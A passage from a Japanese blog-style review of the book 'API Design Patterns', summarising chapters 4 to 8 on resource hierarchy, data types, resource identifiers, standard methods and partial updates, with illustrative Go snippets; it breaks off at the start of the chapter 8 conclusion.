リソースの関係性を適切に設計することで、マイクロサービス間の境界を明確に定義できます。これは、システムの拡張性と保守性に直接的な影響を与えます。パフォーマンスとスケーラビリティ: インライン化と参照の適切な選択は、システムのパフォーマンスとスケーラビリティに大きく影響します。例えば、頻繁に一緒にアクセスされるデータをインライン化することで、不必要なネットワーク呼び出しを減らすことができます。進化可能性: 適切にリソースと関係性を設計することで、将来的なAPIの拡張や変更が容易になります。これは、長期的なシステム運用において非常に重要です。一貫性と予測可能性: リソースレイアウトの一貫したアプローチは、APIの学習曲線を緩やかにし、開発者の生産性を向上させます。運用の簡素化: 適切に設計されたリソース階層は、アクセス制御やログ分析などの運用タスクを簡素化します。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、Goの構造体やインターフェースを使用して、リソース間の関係性を明確に表現することができます。また、Goの強力な型システムを活用することで、APIの一貫性と型安全性を確保することができます。結論第4章「Resource scope and hierarchy」は、APIデザインにおけるリソースのスコープと階層構造の重要性を明確に示しています。適切なリソースレイアウトの設計は、APIの使いやすさ、拡張性、保守性に直接的な影響を与えます。特に重要な点は以下の通りです。リソース間の関係性を慎重に設計し、必要最小限の関係性に留めること。インライン化と参照のトレードオフを理解し、適切に選択すること。階層関係を効果的に使用しつつ、過度に深い階層は避けること。一般的なアンチパターンを認識し、回避すること。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なリソースレイアウトの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の拡張性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。5 Data types and defaults「API Design Patterns」の第5章「Data types and defaults」は、APIにおけるデータ型とデフォルト値の重要性、各データ型の特性と使用上の注意点、そしてシリアライゼーションの課題について詳細に論じています。この章を通じて、著者はAPIの設計において適切なデータ型の選択とデフォルト値の扱いが、APIの使いやすさ、信頼性、そして長期的な保守性にどのように影響するかを明確に示しています。データ型の重要性と課題著者は、APIにおけるデータ型の重要性から議論を始めています。特に注目すべきは、プログラミング言語固有のデータ型に依存せず、シリアライゼーションフォーマット(主にJSON)を介して異なる言語間で互換性のあるデータ表現を実現することの重要性です。この問題は根深すぎて一つの解決策として開発言語を揃えるまでしてる組織ある。この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 5.1 Data moving from API server to client より引用この図は、APIサーバーからクライアントへのデータの流れを示しています。サーバー側でのプログラミング言語固有の表現がシリアライズされ、言語非依存の形式(多くの場合JSON)に変換され、ネットワークを介して送信されます。クライアント側では、このデータがデシリアライズされ、再びクライアントの言語固有の表現に変換されます。この過程は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。異なる言語やフレームワークで実装された複数のサービスが協調して動作する環境では、このようなデータの変換と伝送が頻繁に行われるため、データ型の一貫性と互換性が不可欠です。例えば、あるサービスが64ビット整数を使用し、別のサービスがそれを32ビット整数として解釈してしまうと、深刻なバグや不整合が発生する可能性があります。著者が指摘する「null」値と「missing」値の区別も重要な論点です。これは、オプショナルな値の扱いにおいて特に重要で、APIの設計者はこの違いを明確に意識し、適切に処理する必要があります。例えば、Golangにおいては、以下のように構造体のフィールドをポインタ型にすることで、この区別を表現できます。type User struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` Age *int `json:\\"age,omitempty\\"` IsActive *bool `json:\\"is_active,omitempty\\"`}この設計により、AgeやIsActiveフィールドが省略された場合(missing)と、明示的にnullが設定された場合を区別できます。このような細かい違いに注意を払うことで、APIの柔軟性と表現力を高めることができます。プリミティブデータ型の扱い著者は、ブール値、数値、文字列といったプリミティブデータ型について詳細に論じています。特に注目すべきは、これらのデータ型の適切な使用法と、シリアライゼーション時の注意点です。ブール値に関しては、フィールド名の選択が重要であると指摘しています。例えば、disallowChatbotsよりもallowChatbotsを使用することで、二重否定を避け、APIの理解しやすさを向上させることができます。数値に関しては、大きな整数や浮動小数点数の扱いに注意が必要です。著者は、これらの値を文字列としてシリアライズすることを提案しています。これは特に重要な指摘で、例えばJavaScriptでは64ビット整数を正確に扱えないという問題があります。Golangでこれを実装する場合、以下のようなアプローチが考えられます。type LargeNumber struct { Value string `json:\\"value\\"`}func (ln *LargeNumber) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } // ここで文字列を適切な数値型に変換 // エラーチェックも行う return nil}文字列に関しては、UTF-8エンコーディングの使用と、正規化形式(特にNFC)の重要性が強調されています。これは特に識別子として使用される文字列に重要で、一貫性のある比較を保証します。コレクションと構造体著者は、リスト(配列)とマップ(オブジェクト)についても詳細に論じています。これらのデータ型は、複雑なデータ構造を表現する上で不可欠ですが、適切に使用しないと問題を引き起こす可能性があります。リストに関しては、要素の型の一貫性と、サイズの制限の重要性が指摘されています。これは、API の安定性とパフォーマンスに直接影響します。例えば、リストのサイズが無制限に大きくなることを許可すると、メモリ使用量の増大やレスポンス時間の遅延につながる可能性があります。マップに関しては、動的なキー・バリューペアの格納に適していますが、スキーマレスな性質ゆえに慎重に使用する必要があります。著者は、マップのキーと値のサイズに制限を設けることを推奨しています。これは、APIの予測可能性と安定性を確保する上で重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。データの一貫性: 異なるサービス間でデータ型の一貫性を保つことは、システム全体の信頼性と保守性に直結します。例えば、全てのサービスで日時をISO 8601形式の文字列として扱うといった統一規則を設けることが有効です。バージョニングとの関係: データ型の変更はしばしばAPIの破壊的変更につながります。適切なバージョニング戦略と組み合わせることで、既存のクライアントへの影響を最小限に抑えつつ、APIを進化させることができます。パフォーマンスとスケーラビリティ: 大きな数値を文字列として扱うことや、コレクションのサイズを制限することは、システムのパフォーマンスとスケーラビリティに直接影響します。これらの決定は、システムの成長に伴う課題を予防する上で重要です。エラーハンドリング: 不適切なデータ型やサイズの入力を適切に処理し、明確なエラーメッセージを返すことは、APIの使いやすさと信頼性を向上させます。ドキュメンテーション: データ型、特に制約(例:文字列の最大長、数値の範囲)を明確にドキュメント化することは、API利用者の理解を助け、誤用を防ぎます。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、カスタムのUnmarshalJSONメソッドを使用して、文字列として受け取った大きな数値を適切に処理することができます。また、Goの強力な型システムを活用することで、APIの型安全性を高めることができます。type SafeInt64 int64func (si *SafeInt64) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } i, err := strconv.ParseInt(s, 10, 64) if err != nil { return err } *si = SafeInt64(i) return nil}結論第5章「Data types and defaults」は、APIデザインにおけるデータ型とデフォルト値の重要性を明確に示しています。適切なデータ型の選択と、それらの一貫した使用は、APIの使いやすさ、信頼性、そして長期的な保守性に直接的な影響を与えます。特に重要な点は以下の通りです。プログラミング言語に依存しない、一貫したデータ表現の重要性。null値とmissing値の区別、およびそれらの適切な処理。大きな数値や浮動小数点数の安全な取り扱い。文字列のエンコーディングと正規化の重要性。コレクション(リストとマップ)の適切な使用とサイズ制限。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なデータ型の選択は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切なデータ型の選択と一貫した使用は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。Part 3 Fundamentalsこのパートでは、APIの基本的な操作と機能について深く掘り下げています。標準メソッド(GET、POST、PUT、DELETE等)の適切な使用法、部分的な更新と取得、カスタムメソッドの設計、長時間実行操作の扱い方などが説明されています。これらの基本的な要素を適切に設計することで、APIの使いやすさと機能性が大きく向上します。6 Resource identification「API Design Patterns」の第6章「Resource identification」は、APIにおけるリソース識別子の重要性、良い識別子の特性、その実装方法、そしてUUIDとの関係について詳細に論じています。この章を通じて、著者はリソース識別子が単なる技術的な詳細ではなく、APIの使いやすさ、信頼性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。識別子の重要性と特性著者は、識別子の重要性から議論を始めています。APIにおいて、識別子はリソースを一意に特定するための手段であり、その設計は慎重に行う必要があります。良い識別子の特性として、著者は以下の点を挙げています。使いやすさ一意性永続性生成の速さと容易さ予測不可能性読みやすさ、共有のしやすさ、検証可能性情報密度の高さこれらの特性は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、永続性と一意性は、分散システムにおけるデータの一貫性と整合性を確保する上で不可欠です。また、予測不可能性はセキュリティの観点から重要で、リソースの推測や不正アクセスを防ぐ役割を果たします。著者が提案する識別子の形式は、Crockford\'s Base32エンコーディングを使用したものです。この選択には多くの利点があります。高い情報密度(ASCIIキャラクタあたり5ビット)人間が読みやすく、口頭でも伝えやすい大文字小文字を区別しない柔軟性チェックサム文字による検証可能性これらの特性は、実際の運用環境で非常に有用です。例えば、識別子の読み上げやタイプミスの検出が容易になり、サポートや障害対応の効率が向上します。実装の詳細著者は、識別子の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。サイズの選択: 著者は、用途に応じて64ビットまたは128ビットの識別子を推奨しています。これは、多くのユースケースで十分な一意性を提供しつつ、効率的なストレージと処理を可能にします。生成方法: 暗号学的に安全な乱数生成器の使用を推奨しています。これは、識別子の予測不可能性と一意性を確保する上で重要です。チェックサムの計算: 識別子の検証を容易にするためのチェックサム文字の追加方法を詳細に説明しています。データベースでの保存: 文字列、バイト列、整数値としての保存方法を比較し、それぞれの利点と欠点を分析しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。package mainimport ( \\"crypto/rand\\" \\"encoding/base32\\" \\"fmt\\")func GenerateID() (string, error) { bytes := make([]byte, 16) // 128ビットの識別子 _, err := rand.Read(bytes) if err != nil { return \\"\\", err } encoded := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(bytes) checksum := calculateChecksum(bytes) return fmt.Sprintf(\\"%s%c\\", encoded, checksumChar(checksum)), nil}func calculateChecksum(bytes []byte) int { sum := 0 for _, b := range bytes { sum += int(b) } return sum % 32}func checksumChar(checksum int) rune { return rune(\'A\' + checksum)}func main() { id, err := GenerateID() if err != nil { fmt.Printf(\\"Error generating ID: %v\\\\n\\", err) return } fmt.Printf(\\"Generated ID: %s\\\\n\\", id)}このような実装は、安全で効率的な識別子生成を可能にし、システムの信頼性と拡張性を向上させます。識別子の階層と一意性のスコープ著者は、識別子の階層構造と一意性のスコープについても詳細に論じています。これは、リソース間の関係性をどのように表現するかという重要な問題に関わっています。著者は、階層的な識別子(例:books/1234/pages/5678)の使用を、真の「所有権」関係がある場合に限定することを推奨しています。これは、リソースの移動や関係の変更が頻繁に起こる可能性がある場合、識別子の永続性を維持することが困難になるためです。この考え方は、マイクロサービスアーキテクチャにおいて特に重要です。サービス間の境界を明確に定義し、不必要な依存関係を避けるためには、識別子の設計が重要な役割を果たします。例えば、書籍と著者の関係を考えると、authors/1234/books/5678よりもbooks/5678(著者情報は書籍のプロパティとして保持)の方が、サービス間の結合度を低く保つことができます。UUIDとの比較著者は、提案する識別子形式とUUIDを比較しています。UUIDの利点(広く採用されている、衝突の可能性が極めて低いなど)を認めつつ、以下の点で著者の提案する形式が優れていると主張しています。より短く、人間が読みやすい情報密度が高い(Base32 vs Base16)チェックサム機能が組み込まれているこの比較は重要で、システムの要件に応じて適切な識別子形式を選択する必要性を示しています。例えば、高度に分散化されたシステムではUUIDの使用が適している一方、人間の介入が頻繁に必要なシステムでは著者の提案する形式が有用かもしれません。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 適切な識別子の設計は、システムのスケーラビリティと性能に直接影響します。例えば、128ビットの識別子を使用することで、将来的な成長に対応しつつ、効率的なインデックスの作成が可能になります。セキュリティ: 予測不可能な識別子の使用は、リソースの推測や不正アクセスを防ぐ上で重要です。これは、特に公開APIにおいて重要な考慮事項です。運用性: 人間が読みやすく、検証可能な識別子は、デバッグやトラブルシューティングを容易にします。これは、大規模なシステムの運用において非常に有用です。バージョニングとの関係: 識別子の設計は、APIのバージョニング戦略と密接に関連しています。永続的で一意な識別子は、異なるバージョン間でのリソースの一貫性を維持するのに役立ちます。データベース設計: 識別子の形式と保存方法の選択は、データベースの性能と拡張性に大きな影響を与えます。著者の提案する形式は、多くのデータベースシステムで効率的に扱うことができます。結論第6章「Resource identification」は、APIにおけるリソース識別子の重要性と、その適切な設計の必要性を明確に示しています。著者の提案する識別子形式は、使いやすさ、安全性、効率性のバランスが取れており、多くのユースケースで有用です。特に重要な点は以下の通りです。識別子は単なる技術的詳細ではなく、APIの使いやすさと信頼性に直接影響を与える重要な設計上の決定である。良い識別子は、一意性、永続性、予測不可能性、読みやすさなど、複数の重要な特性を兼ね備えている必要がある。Crockford\'s Base32エンコーディングの使用は、多くの利点をもたらす。識別子の階層構造は慎重に設計する必要があり、真の「所有権」関係がある場合にのみ使用すべきである。UUIDは広く採用されているが、特定のユースケースでは著者の提案する形式の方が適している場合がある。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース識別子の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な識別子の設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切な識別子の設計は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。7 Standard methods「API Design Patterns」の第7章「Standard methods」は、APIにおける標準メソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は標準メソッドが単なる慣習ではなく、APIの一貫性、予測可能性、そして使いやすさを大きく向上させる重要な設計上の決定であることを明確に示しています。標準メソッドの重要性と概要著者は、標準メソッドの重要性から議論を始めています。APIの予測可能性を高めるために、リソースごとに異なる操作を定義するのではなく、一貫した標準メソッドのセットを定義することの利点を強調しています。具体的には、以下の標準メソッドが紹介されています。Get:既存のリソースを取得List:リソースのコレクションをリスト化Create:新しいリソースを作成Update:既存のリソースを更新Delete:既存のリソースを削除Replace:リソース全体を置き換えHTTP には他にもいくつかのメソッドが用意されているWikipedia より引用en.wikipedia.orgこれらの標準メソッドは、RESTful APIの設計原則に基づいており、多くの開発者にとって馴染みのある概念です。しかし、著者はこれらのメソッドの実装に関する詳細な指針を提供することで、単なる慣習を超えた、一貫性のある強力なAPIデザインパターンを提示しています。この標準化されたアプローチは、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスのインターフェースが一貫していることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで同じ標準メソッドを使用することで、開発者はサービス間の相互作用をより直感的に理解し、新しいサービスの統合や既存のサービスの修正をスムーズに行うことができます。実装の詳細とベストプラクティス著者は、各標準メソッドの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。べき等性とサイドエフェクト: 著者は、標準メソッドのべき等性(同じリクエストを複数回実行しても結果が変わらない性質)とサイドエフェクトの重要性を強調しています。特に、Getやリストのような読み取り専用のメソッドは、完全にべき等であるべきで、システムの状態を変更するサイドエフェクトを持つべきではありません。これは、システムの予測可能性と信頼性を高める上で重要です。一貫性: 著者は、特にCreate操作において強い一貫性を維持することの重要性を指摘しています。リソースが作成されたら、即座に他の標準メソッド(Get、List、Update、Delete)を通じてアクセス可能であるべきです。これは、分散システムにおける課題ですが、APIの信頼性と使いやすさにとって極めて重要です。部分更新 vs 全体置換: UpdateメソッドとReplaceメソッドの違いについて詳細に説明しています。Updateは部分的な更新(HTTP PATCHを使用)を行い、Replaceは全体の置換(HTTP PUTを使用)を行います。この区別は、APIの柔軟性と使いやすさを向上させる上で重要です。べき等性と削除操作: 著者は、Delete操作がべき等であるべきか否かについて興味深い議論を展開しています。最終的に、Deleteはべき等でない方が良いと結論付けていますが、これはAPIの設計者にとって重要な考慮点です。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなインターフェースが考えられます。type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, filter string) ([]*Resource, error) Create(ctx context.Context, resource *Resource) (*Resource, error) Update(ctx context.Context, id string, updates map[string]interface{}) (*Resource, error) Replace(ctx context.Context, id string, resource *Resource) (*Resource, error) Delete(ctx context.Context, id string) error}このようなインターフェースは、標準メソッドの一貫した実装を促進し、APIの使いやすさと保守性を向上させます。標準メソッドの適用と課題著者は、標準メソッドの適用に関する重要な考慮点も提示しています。メソッドの選択: 全てのリソースが全ての標準メソッドをサポートする必要はありません。リソースの性質に応じて、適切なメソッドのみを実装すべきです。アクセス制御: 特にListメソッドにおいて、異なるユーザーが異なるアクセス権を持つ場合の挙動について詳細に説明しています。これは、セキュリティと使いやすさのバランスを取る上で重要な考慮点です。結果のカウントとソート: 著者は、Listメソッドでのカウントやソートのサポートを避けることを推奨しています。これは、大規模なデータセットでのパフォーマンスとスケーラビリティの問題を防ぐための重要な指針です。フィルタリング: Listメソッドにおけるフィルタリングの重要性と、その実装方法について説明しています。著者は、固定のフィルタリング構造ではなく、柔軟な文字列ベースのフィルタリングを推奨しています。これらの考慮点は、特に大規模なシステムやマイクロサービスアーキテクチャにおいて重要です。例えば、Listメソッドでのカウントやソートの制限は、システムの水平スケーリング能力を維持する上で重要です。同様に、柔軟なフィルタリングの実装は、APIの長期的な進化と拡張性を確保します。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。一貫性と予測可能性: 標準メソッドを一貫して適用することで、APIの学習曲線が緩やかになり、開発者の生産性が向上します。これは、特に大規模なシステムや多くのマイクロサービスを持つ環境で重要です。パフォーマンスとスケーラビリティ: 著者の推奨事項(例:Listメソッドでのカウントやソートの制限)は、システムのパフォーマンスとスケーラビリティを維持する上で重要です。これらの原則を適用することで、システムの成長に伴う課題を予防できます。バージョニングとの関係: 標準メソッドの一貫した実装は、APIのバージョニング戦略とも密接に関連します。新しいバージョンを導入する際も、これらの標準メソッドの挙動を維持することで、後方互換性を確保しやすくなります。セキュリティの考慮: 標準メソッドの実装において、適切なアクセス制御やエラーハンドリングを行うことは、APIのセキュリティを確保する上で重要です。運用性: 標準メソッドの一貫した実装は、監視、ログ記録、デバッグなどの運用タスクを簡素化します。これにより、問題の迅速な特定と解決が可能になります。結論第7章「Standard methods」は、APIにおける標準メソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの一貫性、予測可能性、使いやすさを大きく向上させる可能性があります。特に重要な点は以下の通りです。標準メソッド(Get、List、Create、Update、Delete、Replace)の一貫した実装は、APIの学習性と使いやすさを大幅に向上させます。べき等性とサイドエフェクトの考慮は、APIの信頼性と予測可能性を確保する上で重要です。強い一貫性の維持、特にCreate操作後の即時アクセス可能性は、APIの信頼性を高めます。標準メソッドの適切な選択と実装は、システムのパフォーマンス、スケーラビリティ、セキュリティに直接影響します。標準メソッドの一貫した実装は、システムの運用性と長期的な保守性を向上させます。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、標準メソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な標準メソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。標準メソッドの適切な実装は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。8 Partial updates and retrievals「API Design Patterns」の第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は部分的な更新と取得が単なる機能の追加ではなく、APIの柔軟性、効率性、そして長期的な使いやすさに直接影響を与える重要な設計上の決定であることを明確に示しています。部分的な更新と取得の動機著者は、部分的な更新と取得の必要性から議論を始めています。特に、大規模なリソースや制限のあるクライアント環境での重要性を強調しています。例えば、IoTデバイスのような制限された環境では、必要最小限のデータのみを取得することが重要です。また、大規模なリソースの一部のみを更新する必要がある場合、全体を置き換えるのではなく、特定のフィールドのみを更新する能力が重要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが必要とするデータのみを効率的に取得し、更新することが、システム全体のパフォーマンスとスケーラビリティを向上させます。著者は、部分的な更新と取得を実現するためのツールとしてフィールドマスクの概念を導入しています。フィールドマスクは、クライアントが関心のあるフィールドを指定するための単純かつ強力なメカニズムです。これにより、APIは必要なデータのみを返すか、指定されたフィールドのみを更新することができます。フィールドマスクの実装著者は、フィールドマスクの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。トランスポート: フィールドマスクをどのようにAPIリクエストに含めるかについて議論しています。著者は、クエリパラメータを使用することを推奨しています。これは、HTTPヘッダーよりもアクセスしやすく、操作しやすいためです。ネストされたフィールドとマップの扱い: 著者は、ドット表記を使用してネストされたフィールドやマップのキーを指定する方法を説明しています。これにより、複雑なデータ構造でも柔軟に部分的な更新や取得が可能になります。繰り返しフィールドの扱い: 配列やリストのような繰り返しフィールドに対する操作の制限について議論しています。著者は、インデックスベースの操作を避け、代わりにフィールド全体の置き換えを推奨しています。デフォルト値: 部分的な取得と更新におけるデフォルト値の扱いについて説明しています。特に、更新操作での暗黙的なフィールドマスクの使用を推奨しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。type FieldMask []stringtype UpdateUserRequest struct { User *User FieldMask FieldMask `json:\\"fieldMask,omitempty\\"`}func UpdateUser(ctx context.Context, req *UpdateUserRequest) (*User, error) { existingUser, err := getUserFromDatabase(req.User.ID) if err != nil { return nil, err } if req.FieldMask == nil { // 暗黙的なフィールドマスクを使用 req.FieldMask = inferFieldMask(req.User) } for _, field := range req.FieldMask { switch field { case \\"name\\": existingUser.Name = req.User.Name case \\"email\\": existingUser.Email = req.User.Email // ... その他のフィールド } } return saveUserToDatabase(existingUser)}func inferFieldMask(user *User) FieldMask { var mask FieldMask if user.Name != \\"\\" { mask = append(mask, \\"name\\") } if user.Email != \\"\\" { mask = append(mask, \\"email\\") } // ... その他のフィールド return mask}このコードでは、フィールドマスクを明示的に指定しない場合、提供されたデータから暗黙的にフィールドマスクを推論しています。これにより、クライアントは必要なフィールドのみを更新でき、不要なデータの送信を避けることができます。部分的な更新と取得の課題著者は、部分的な更新と取得の実装に関する重要な課題についても議論しています。一貫性: 部分的な更新を行う際、リソース全体の一貫性を維持することが重要です。特に、相互に依存するフィールドがある場合、この点に注意が必要です。パフォーマンス: フィールドマスクの解析と適用には計算コストがかかります。大規模なシステムでは、このオーバーヘッドを考慮する必要があります。バージョニング: APIの進化に伴い、新しいフィールドが追加されたり、既存のフィールドが変更されたりする可能性があります。フィールドマスクの設計は、このような変更に対応できる柔軟性を持つ必要があります。セキュリティ: フィールドマスクを通じて、クライアントがアクセスを許可されていないフィールドを更新または取得しようとする可能性があります。適切なアクセス制御が必要です。これらの課題は、特に大規模なシステムや長期的に維持されるAPIにおいて重要です。例えば、マイクロサービスアーキテクチャでは、各サービスが扱うデータの一部のみを更新する必要がある場合がしばしばあります。この時、部分的な更新機能は非常に有用ですが、同時にサービス間のデータ整合性を維持することが重要になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。効率性とパフォーマンス: 部分的な更新と取得を適切に実装することで、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させることができます。これは特に、モバイルアプリケーションや帯域幅が制限されている環境で重要です。柔軟性と拡張性: フィールドマスクを使用することで、APIの柔軟性が大幅に向上します。クライアントは必要なデータのみを要求でき、新しいフィールドの追加も既存のクライアントに影響を与えずに行えます。バージョニングとの関係: 部分的な更新と取得は、APIのバージョニング戦略と密接に関連しています。新しいバージョンを導入する際も、フィールドマスクを通じて後方互換性を維持しやすくなります。運用性と可観測性: 部分的な更新と取得を適切に実装することで、システムの運用性が向上します。例えば、特定のフィールドの更新頻度や、どのフィールドが最も頻繁に要求されるかを監視することで、システムの使用パターンをより深く理解し、最適化の機会を見出すことができます。エラーハンドリング: 無効なフィールドマスクや、存在しないフィールドへのアクセス試行をどのように処理するかは重要な設計上の決定です。適切なエラーメッセージと状態コードを返すことで、APIの使いやすさと信頼性を向上させることができます。フィールドマスクの高度な使用法著者は、フィールドマスクのより高度な使用法についても言及しています。特に注目すべきは、ネストされた構造やマップ型のフィールドへの対応です。例えば、次のような複雑な構造を持つリソースを考えてみましょう:type User struct { ID string Name string Address Address Settings map[string]interface{}}type Address struct { Street string City string Country string}このような構造に対して、著者は以下のようなフィールドマスクの表記を提案しています。name: ユーザーの名前を更新または取得address.city: ユーザーの住所の都市のみを更新または取得settings.theme: 設定マップ内のテーマ設定のみを更新または取得この表記法により、非常に細かい粒度で更新や取得を行うことが可能になります。これは特に、大規模で複雑なリソースを扱う場合に有用です。しかし、このような複雑なフィールドマスクの実装には課題もあります。特に、セキュリティとパフォーマンスの観点から注意が必要です。例えば、深くネストされたフィールドへのアクセスを許可することで、予期せぬセキュリティホールが生まれる可能性があります。また、非常に複雑なフィールドマスクの解析と適用は、システムに大きな負荷をかける可能性があります。これらの課題に対処するため、著者は以下のような推奨事項を提示しています。フィールドマスクの深さに制限を設ける特定のパターンのみを許可するホワイトリストを実装するフィールドマスクの複雑さに応じて、リクエストのレート制限を調整するこれらの推奨事項は、システムの安全性と性能を確保しつつ、APIの柔軟性を維持するのに役立ちます。部分的な更新と取得の影響部分的な更新と取得の実装は、システム全体に広範な影響を与えます。特に以下の点が重要です。データベース設計: 部分的な更新をサポートするためには、データベースの設計も考慮する必要があります。例えば、ドキュメント指向のデータベースは、部分的な更新に適している場合があります。キャッシング戦略: 部分的な取得をサポートする場合、キャッシング戦略も再考する必要があります。フィールドごとに異なるキャッシュ期間を設定したり、部分的な更新があった場合にキャッシュを適切に無効化する仕組みが必要になります。監視とロギング: 部分的な更新と取得をサポートすることで、システムの監視とロギングの複雑さが増します。どのフィールドが更新されたか、どのフィールドが要求されたかを追跡し、適切にログを取ることが重要になります。ドキュメンテーション: フィールドマスクの使用方法や、各フィールドの意味、相互依存関係などを明確にドキュメント化する必要があります。これにより、API利用者が部分的な更新と取得を適切に使用できるようになります。テスト戦略: 部分的な更新と取得をサポートすることで、テストケースの数が大幅に増加します。全ての有効なフィールドの組み合わせをテストし、不正なフィールドマスクに対する適切なエラーハンドリングを確認する必要があります。クライアントライブラリ: APIクライアントライブラリを提供している場合、フィールドマスクを適切に扱えるように更新する必要があります。これにより、API利用者がより簡単に部分的な更新と取得を利用できるようになります。パフォーマンスチューニング: 部分的な更新と取得は、システムのパフォーマンスに大きな影響を与える可能性があります。フィールドマスクの解析や適用のパフォーマンスを最適化し、必要に応じてインデックスを追加するなどの対策が必要になる場合があります。セキュリティ対策: フィールドマスクを通じて、機密情報へのアクセスが可能になる可能性があります。適切なアクセス制御と認可チェックを実装し、セキュリティ監査を行うことが重要です。バージョニング戦略: 新しいフィールドの追加や既存フィールドの変更を行う際、フィールドマスクとの互換性を維持する必要があります。これは、APIのバージョニング戦略に大きな影響を与える可能性があります。開発者教育: 開発チーム全体が部分的な更新と取得の概念を理解し、適切に実装できるようにするための教育が必要になります。これには、ベストプラクティスの共有やコードレビューのプロセスの更新が含まれる可能性があります。これらの影響を適切に管理することで、部分的な更新と取得の実装による利点を最大限に活かしつつ、潜在的な問題を最小限に抑えることができます。システム全体のアーキテクチャ、開発プロセス、運用プラクティスを包括的に見直し、必要に応じて調整を行うことが重要です。最終的に、部分的な更新と取得の実装は、APIの使いやすさと効率性を大幅に向上させる可能性がありますが、同時にシステムの複雑性も増加させます。したがって、その導入を決定する際は、利点とコストを慎重に検討し、システムの要件と制約に基づいて適切な判断を下す必要があります。長期的な保守性、スケーラビリティ、そして全体的なシステムのパフォーマンスを考慮に入れた上で、部分的な更新と取得の実装範囲と方法を決定することが賢明です。結論第8章「Partial updates and 